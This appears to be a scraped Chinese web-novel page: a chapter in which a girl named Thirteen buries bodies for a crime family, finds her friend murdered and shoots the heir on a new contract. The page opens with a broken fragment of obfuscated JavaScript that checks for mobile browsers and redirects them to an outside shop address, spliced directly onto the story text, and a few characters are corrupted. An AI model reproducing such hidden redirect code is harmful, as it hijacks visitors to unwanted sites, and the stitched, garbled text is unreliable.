l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235279|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “嗯。” 卡尔玛拉家的理发师不会来打理她的头发,时间和重力便一起把发丝拽长了。 “天天这么披着头发,你不觉得碍事吗?” “不碍事。” “话是这么说没错,但我还是觉得有点太累赘了。” 这么说这的蕾尼,在她的长发彻底干透之后,推着她来到镜子前。 小屋唯一的这面镜子又旧又破,十三倒是无所谓。她不怎么照镜子。蕾尼用手抹抹镜面,发现自己居然也没办法弄干净它,干脆不多费劲了,转而做起正事。 她的正事就是捣鼓十三号的头发。 一会儿拢起来,一会儿绞成三股,或者团成一团。深红色的发丝从这样变成那样,最后还是垂散下来,披在肩头,她只用小拇指挑起了薄薄的一层头发,在脑袋的一侧扎成纤细的一束辫子。 “看!多可爱!”蕾尼紧挨着她,笑脸遮挡住了伤口,“这样就很符合你这个年纪了吧!你毕竟才十五岁嘛,就是该多一点小孩子的模样才行。” “好。” 十三不懂小孩子的模样是怎样。蕾尼说的很多话她都不懂。她也不确定自己是否喜欢这样。她没有明确的好恶。 她依然披散着头发,深红的发梢会触碰到土地,连接着埋葬其中的遗体。 很久很久以前,似乎听谁说过,她的身体是由大地和天空铸成的。更具体的内容,完全想不起来。 自行车的铃声被风吹过来。十三抬起头,发梢脱离地面,看着奋力踩动踏板的蕾尼。 这辆车有些老旧了,链条转出的嘎吱嘎吱声比往年更加刺耳。蕾尼要好费劲地骑,才能缩短她们之间的距离。 她好像很焦急,没有停稳车就跑过来,也不管车会不会被鲁莽地摔坏。她自顾自扑过来,紧紧搂住十三。 “我要走了!” 蕾尼迫不及待要把好消息告诉她。 十三适时地想起不久之前她的那通电话。 “意思是。”十三需要确认自己的理解是否正确,“合约结束了,是吗?” “不,合约不可能终止了……老大根本没有和卡尔玛拉家沟通过——库克罗普斯告诉我的。库克罗普斯就是便利屋那个只有一只眼睛的老哥,你记得他吗?” “不记得。” “没事,这其实也不重要。重要的是,我知道只能靠自己了。” 她握着十三的手,可能是很紧张,或者过分激动,指尖都在不受控制地发颤。 “我会逃走。知道吗,我联系上了以前认识的人,托她帮忙做了新的身份证。你要和我一起走吗,十三?” 十三号想了想。她的脚下还躺着两具没埋的尸体,工作还没完成,所以她只能说:“不了。” “好吧……其实我也还没定好行动的日子,但等我安定下来之后,我会联系你的。给你寄明信片吧,好不好?比如那种印着大海的很漂亮的明信片。仔细想想,我都不知道你喜欢什么。” “好。我没有什么特别喜欢的东西。” “那就是说,我不管送怎样的礼物,你都会喜欢啦?” 蕾尼自然而然地把话语扭成更好的意思。十□□驳不了,却也没点头。 说着“你要多多期待我的礼物哟!”,蕾尼蹬着自行车,如来时那边轻快地回去了,完全没有发现她的香烟盒掉在路上。十三也迟迟地才发现,来不及还给她,只好先收进口袋里,准备下次还给他。 可惜之后几天见到蕾尼也没想起此事。薄荷烟彻底住在她的口袋里了。 又有尸体从宅邸搬出来了,咚一下丢到十三的门前,还带着温度——不是尚未退去的体温,只是染上了卡尔玛拉家的暖气。 十三望向通往宅邸的小路。此刻还早,薄雾笼罩了这条道路,她听不到自行车的铃声。蕾尼不常在这么早的时候过来,她也不确定蕾尼今天是否真的会来。既然如此,还是先完成工作吧。 有蕾尼在的话,她们会打开裹尸布,玩“凶手推断”的游戏。 她很快地挖好了坑,把尸体推进去。被当做裹尸布的油布乱七八糟地散开,露出伤痕累累的裸.尸。 目之所及都是伤口,即便被皮肉包裹着,还是能看到折断的骨头。死因显而易见,十指的痕迹印在尸体的脖颈上,那会是一双比十三稍稍大一点的手。十三猜到了凶手是谁,明明今天蕾尼不在,她们不能玩“凶手推断”的游戏。 但其实蕾尼在这里,在她挖出的坑里——她是今天要埋葬的尸体。所以她们该玩“凶手推断”的游戏。 十三没有觉得难过,也不会崩溃,眼泪更是不曾落下一点。她的心情没有什么起伏,也没有在回忆过往。她只是不停地觉得小路上传来了铃铛声,每一次抬头望去,谁也不在。 重新裹好油布,把挖出的土填上,找到一块石头,压在上面,这样她就不会忘记蕾尼在这里。天很快就会炎热起来,十三觉得自己只是行走在冻土上。没有人会对她说,可以把事情留到春日再做。 好久都没有尸体丢过来了。她坐在门前,看着平整地面上立着的那唯一一块石头。 融化了冻土的,是一把盛夏的火焰。从宅邸飘出来的热量卷过十三的面庞,她感觉不到滚烫的温度。 但宅邸显而易见的火灾,看不到才比较奇怪。在她发呆的时候,有人拨响了她的电话。 “十三,你还在卡尔玛拉家吗?”便利屋打过来的。 “是的。” “你先离开吧,合约终止。卡尔玛拉家没钱支付尾款了,双方之间的契约到今天结束。” 十三难得地想起来,前一阵确实在电视上看到了卡尔玛拉身陷囫囵的报道。 那时的她没什么特别的想法,现在也一样。既然要她离开,她会照做。 十三踏上小路,踩在自行车无数次往返碾压出的痕迹上,走了挺久,才来到宅邸。 满地尸体,人间炼狱。 真可惜她来得太晚,否则就能知道了,现状的源头是在家主的“保持低调”的命令下没能满足杀戮需求而彻底发疯的大少爷抡起斧子到处砍人,被他无意间切碎的煤气罐喷出火焰,把宅邸点燃。而一向厌恶卡尔玛拉的其他家族乘此机会浑水摸鱼,闯入火场窃取宝物,逃命的仆人也加入了这个行列。 掺杂利益之后,掠夺自然而然升级到战争,就此变成了十三看到的现状。 能躲过闹剧的只是少数人。幸运儿慌不择路,撞在她的身上。 “……你?” 撞到她的少年难以置信——是惊喜的难以置信,匆忙抓住她的手。 “我记得你,你的工作是保护我,对吧?快带我离开这里啊!” 如果没有这句话,十三会需要一点时间认出他是那位小少爷。 她没有回应,继续往前走。小少爷还是死命地拽着她。 “你是为我工作的啊,给我停下来!你是要钱吗?我会给你钱的,我是这个家的继承人!”他简直要跳脚了,“你得保护我。” 十三步履不停。“我目前没有工作。”她坦诚地说。 不过,新工作很快就会到来。她的电话又响起来了。 “十三,你还在卡尔玛拉家吗?” “是的?” “还不走吗你?” 十三睨了一眼自己的挂件,“我正在走。” “行吧,你干脆别走了,省得我再派人过去。交给你一个新委托,不要让卡尔玛拉家留下任何活口。” “明白。” 十三终于停下脚步,摸出口袋里的枪,抵在小少爷的头上,而他这会儿才刚刚露出那种松一口气的表情——他以为十三被他说服了。 怎么可能。 “我现在有工作了。” 她解开保险,咔哒一声。 “我也玩完‘凶手推测’的游戏了。杀了蕾尼的凶手是你。” 然后开枪。 辩解或是求饶,一起随着脑浆流出来,悄无声息落入焦土,被完全蒸发,最后也许会回到天空吧。 远方传来警笛,尖锐地传遍整个上西森林。隔了这么久警察才来,想也知道是有人做了手脚故意阻拦。十三穿过火场,皮肤烧焦后再度愈合,好在衣服破损不多。她的一些记忆似乎也被烧焦了,新生的皮肉重新覆盖上去,于是她看起来就像是从未受伤过。 在口袋里,她摸到了一包烟。她想不起这是谁的东西了,一定不是自己的所属物。 即便如此,她还是抽出了一支,用吞噬了庄园的火焰点燃香烟,深吸一口。臭烘烘的味道。不喜欢,也不讨厌。 她拍掉身上的灰尘,拢起长发,挑起薄薄的一层发丝,扎成很纤细的辫子。 “多可爱,不是吗?”一定会有人这么说,即便已想不起这是谁的话语。 避开警察的视线,森林的深绿将她的身影包裹。心脏空落落地下坠,可还是要继续向前。 距离十三号找回自己的名字,还有八百三十六天。